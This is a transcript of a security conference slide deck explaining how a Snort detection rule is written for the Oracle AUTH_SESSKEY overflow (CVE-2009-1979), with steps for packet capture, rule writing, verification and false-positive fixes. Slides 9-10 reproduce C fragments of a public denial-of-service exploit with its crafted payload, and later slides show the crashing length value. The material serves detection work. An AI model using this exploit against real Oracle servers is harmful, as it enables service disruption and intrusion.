Life Cycle of a Snort Rule: From Vulnerability to Coverage

30 slides
1.24 MB
725 views

Similar Presentations

Presentation Transcript

1

Life Cycle of a Snort Rule: From Vulnerability to CoverageAlex Kirk Sourcefire VRT

2

About the Sourcefire VRTFounded in 2001 20 team members Core team members based in Columbia, Maryland (USA) ClamAV team members based in Poland, Italy and Germany Threat Feed team members based in Columbia and India Responsibilities include: Publishing new Snort rules and Sourcefire Protection Updates Publishing new ClamAV signatures Development of the ClamAV Engine*

3

Bug AnnouncementOracle issues October 2009 Critical Patch Update 16 total bugs are fixed 3 have a CVSS score of 10 No public information Reverse-engineering and fuzzing difficult at best Too many things fixed at once Too big of a program *

4

Exploit SurfacesDennis Yurichev posts to Full-Disclosure Source code and Windows executable attached Script-kiddie friendly DoS No shellcode included Easy launching point for more malicious exploits *

5

Run the ExploitDoes it actually work? Some published exploits have intentional brokenness Some are just written by lamers Need a valid target VMware setups are best Snapshot before you run an exploit *

6

Yeah, It Works*

7

Get A PCAPsudo tcpdump –n –i eth0 –s0 –w *

8

PCAP CleanupUgly PCAPs are your enemy More packets = more work Broken checksums screw up Snort Always use a BPF filter http://www.shmoo.com/~bmc/software/random/fix-cksum.pl is your friend *

9

Now What?unsigned char NSPTCN[]= { 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x3A, 0x01, 0x2C, 0x00, 0x41, 0x20, 0x00, 0x7F, 0xFF, 0xC6, 0x0E, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x02, 0x00, //^^ ^^ cmd len 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; #define NSPTCN_HEADER_LEN 58 unsigned char NSPTDA[]= { 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, // ^^ ^^ packet len 0x00, 0x00 }; #define NSPTDA_HEADER_LEN 10 void s_send_NSPTDA (SOCKET s, char *msg, int size) { char * buf; int sz=size + NSPTDA_HEADER_LEN; buf=(char*)malloc (sz); NSPTDA[0]=( sz ) >> 8; NSPTDA[1]=( sz ) & 0xFF; memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN); memcpy (buf + NSPTDA_HEADER_LEN, msg, size); printf ("s_send_NSPTDA: sending %d bytes...\n", sz); s_send (s, (char*)buf, sz); free (buf); }; void s_send_TNS_command (SOCKET s, const char *cmd) { unsigned char * pkt; int cmd_len=strlen (cmd); printf ("sending [%s]\n", cmd); printf ("len: %d\n", cmd_len); if (cmd_len<231) { int str_len=strlen(cmd); int pkt_len=str_len+58; pkt=(unsigned char*)malloc (str_len+58); memcpy (pkt, "\x00\x00\x00\x00\x01\x00\x00\x00" // plenH, plenL "\x01\x3A\x01\x2C\x00\x41\x20\x00" "\x7F\xFF\xC6\x0E\x00\x00\x01\x00" "\x00\x00\x00\x3A\x00\x00\x02\x00" // cmdlenH cmdlenL "\x61\x61\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00“ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00", 58); memcpy (pkt+58, cmd, str_len); memcpy (pkt1318, "\x05\x26\x00\x00\x06\x00\x00\x00\x00\x00\x03\x73\x03\xFE\xFF\xFF" "\xFF\x05\x00\x00\x00\x01\x01\x00\x00\xFE\xFF\xFF\xFF\x12\x00\x00" "\x00\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF\x05\x73\x63\x6F\x74\x74\x0C" "\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x53\x45\x53\x53\x4B\x45\x59" "\x40\x00\x00\x00\x40\x36\x33\x41\x45\x31\x36\x41\x30\x44\x31\x41" "\x46\x31\x45\x39\x33\x37\x41\x44\x36\x36\x46\x34\x46\x31\x35\x36" "\x37\x31\x30\x33\x30\x34\x46\x36\x36\x30\x31\x44\x30\x45\x33\x35" "\x34\x37\x46\x42\x46\x39\x35\x34\x39\x37\x34\x32\x33\x30\x42\x43" "\x30\x36\x45\x34\x30\x01\x00\x00\x00\x0D\x00\x00\x00\x0D\x41\x55" "\x54\x48\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x40\x00\x00\x00\x40" "\x36\x31\x37\x35\x31\x42\x45\x35\x34\x37\x31\x30\x44\x45\x41\x46" "\x38\x46\x42\x33\x34\x32\x45\x36\x32\x41\x45\x35\x30\x45\x44\x38" "\x45\x43\x38\x30\x39\x33\x31\x44\x33\x44\x45\x34\x42\x33\x41\x37" "\x34\x35\x38\x37\x45\x36\x46\x32\x36\x46\x37\x45\x45\x30\x34\x34" "\x00\x00\x00\x00\x08\x00\x00\x00\x08\x41\x55\x54\x48\x5F\x52\x54" "\x54\x05\x00\x00\x00\x05\x32\x38\x30\x32\x38\x00\x00\x00\x00\x0D" "\x00\x00\x00\x0D\x41\x55\x54\x48\x5F\x43\x4C\x4E\x54\x5F\x4D\x45" "\x4D\x04\x00\x00\x00\x04\x34\x30\x39\x36\x00\x00\x00\x00\x0D\x00" "\x00\x00\x0D\x41\x55\x54\x48\x5F\x54\x45\x52\x4D\x49\x4E\x41\x4C" "\x05\x00\x00\x00\x05\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x0F\x00" "\x00\x00\x0F\x41\x55\x54\x48\x5F\x50\x52\x4F\x47\x52\x41\x4D\x5F" "\x4E\x4D\x0A\x00\x00\x00\x0A\x70\x79\x74\x68\x6F\x6E\x2E\x65\x78" "\x65\x00\x00\x00\x00\x0C\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x4D" "\x41\x43\x48\x49\x4E\x45\x0F\x00\x00\x00\x0F\x57\x4F\x52\x4B\x47" "\x52\x4F\x55\x50\x5C\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x08\x00" "\x00\x00\x08\x41\x55\x54\x48\x5F\x50\x49\x44\x09\x00\x00\x00\x09" "\x32\x38\x30\x38\x3A\x34\x30\x30\x34\x00\x00\x00\x00\x08\x00\x00" "\x00\x08\x41\x55\x54\x48\x5F\x53\x49\x44\x06\x00\x00\x00\x06\x64" "\x65\x6E\x6E\x69\x73\x00\x00\x00\x00\x16\x00\x00\x00\x16\x53\x45" "\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x43\x48\x41" "\x52\x53\x45\x54\x03\x00\x00\x00\x03\x31\x37\x38\x00\x00\x00\x00" "\x17\x00\x00\x00\x17\x53\x45\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49" "\x45\x4E\x54\x5F\x4C\x49\x42\x5F\x54\x59\x50\x45\x01\x00\x00\x00" "\x01\x31\x00\x00\x00\x00\x1A\x00\x00\x00\x1A\x53\x45\x53\x53\x49“ "\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x44\x52\x49\x56\x45\x52"*

10

Aha! "\x2E\x53\x53\x58\x46\x46\x20\x41\x4D\x20\x54\x5A\x52\x27\x00\x00" "\x00\x00\x00\x00\x17\x00\x00\x00\x17\x41\x55\x54\x48\x5F\x4C\x4F" "\x47\x49\x43\x41\x4C\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5F\x49\x44" "\x20\x00\x00\x00\x20\x35\x44\x46\x34\x37\x43\x45\x35\x42\x38\x42" "\x32\x34\x43\x46\x38\x42\x46\x42\x36\x46\x30\x46\x36\x39\x32\x42" "\x38\x46\x42\x39\x38\x00\x00\x00\x00\x10\x00\x00\x00\x10\x41\x55" "\x54\x48\x5F\x46\x41\x49\x4C\x4F\x56\x45\x52\x5F\x49\x44\x00\x00" "\x00\x00\x00\x00\x00\x00" ,1318); pkt1318[0x41]=0x80; s_send (s, pkt1318, 1318); assert (closesocket (s)==0); return true; } else { printf ("while connect(): select() returns zero\n"); assert (closesocket (s)==0); return false; };*

11

Validate Your Hypothesis! *

12

What’s Different? Yes, there are other differences Start with the one the exploit called out *

13

It’s The Length, Stupid Undocumented protocols seem scary How am I ever going to figure all this out? Good news: you don’t need to! Many binary protocols have length/value pairs*

14

Which One? 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 00 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO*

15

Which One? 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 00 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO*

16

Exploit Doesn’t Help 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 80 00 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWOCould be either 0x00008040 or 0x80000040 Both are bigger than the data supplied Both could result in an overflow *

17

No Crash 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 00 80 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWOClearly not little-endian 0x80000040 is HUGE -> 2147483712 *

18

Crash! 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 80 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWOWorks as big-endian number Minimum size for crash = 0x00010000 (65536) *

19

Snort Rule - Conditions Must be on TCP port 1521 (standard for TNS) Must be sent to a server, not a client Must contain “AUTH_SESSKEY” 4-byte size that follows must be > 65535 That’s it! *

20

Snort Rule alert tcp $EXTERNAL_NET any -> $HOME_NET 1521 (msg:”ORACLE auth_sesskey buffer overflow attempt”; flow:established,to_server; content:”AUTH_SESSKEY”; nocase; byte_test:4,>,65535,1,relative; reference:bugtraq,36747; reference:cve,2009-1979; classtype:attempted-admin; sid:99970;) *

21

Trust But Verify akirk@sf:~/downloads/snort-2.8.5$ src/snort -c etc/snort.conf -q -A cmg -r ~/pcaps/cve-2009-1979.pcap 11/16-13:34:05.613227 [**] [1:99970:0] ORACLE auth_sesskey buffer overflow attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.4.11.66:57116 -> 10.4.10.136 :1521 11/16-13:34:05.613227 0:23:AE:88:C2:38 -> 0:C:29:80:98:1B type:0x800 len:0x55C 10.4.11.66:57116 -> 10.4.10.136:1521 TCP TTL:128 TOS:0x0 ID:14082 IpLen:20 DgmLen:1358 DF ***AP**F Seq: 0x32E2F59C Ack: 0x885EAB16 Win: 0x3FCD TcpLen: 20 05 26 00 00 06 00 00 00 00 00 03 73 03 FE FF FF .&.........s.... FF 05 00 00 00 01 01 00 00 FE FF FF FF 12 00 00 ................ 00 FE FF FF FF FE FF FF FF 05 73 63 6F 74 74 0C ..........scott. 00 00 00 0C 41 55 54 48 5F 53 45 53 53 4B 45 59 ....AUTH_SESSKEY 40 80 00 00 40 36 33 41 45 31 36 41 30 44 31 41 @...@63AE16A0D1A Don’t forget to test your valid traffic, too! *

22

False Positives Nobody’s perfect Part of any rule-writer’s job: fixing mistakes *

23

False Positive Example: SID 12741 QuickTime buffer overflow Looks like: RTSP/1.0 200 OK Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *

24

Evasion Case RTSP/1.0 200 OK Content-Type : AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Spaces between “Content-Type” and “:” *

25

Existing Rule alert tcp $EXTERNAL_NET 554 -> $HOME_NET any (msg:"EXPLOIT Apple Quicktime TCP RTSP sdp type buffer overflow attempt"; flow:to_client,established; content:"RTSP"; depth:4; content:"Content-Type"; nocase; content:"|3A|"; distance:0; isdataat:256,relative; content:!"|0A|"; within:256; content:!"|3A|"; within:256; metadata:service rtsp; reference:bugtraq,26549; reference:cve,2007-6166; classtype:attempted-user; sid:12741; rev:9;) *

26

Rule Problem Goal - Allow for spaces between “Content-Type” and “:” Actual result – any “:” following “Content-Type” in the packet matches RTSP/1.0 200 OK Content-Type: application/sdp a=pgmpu:data:application/x-wms- contentdesc,8,language,31,0,,42,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY_URL,31,1,/,58,WMS_CONTENT_DESCRIPTION_COPIED_METADATA_FROM_PLAYLIST_FILE,3,1,1,47,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY_DURATION...*

Browse More Presentations

Last Updated: 8th March 2018

Recommended PPTs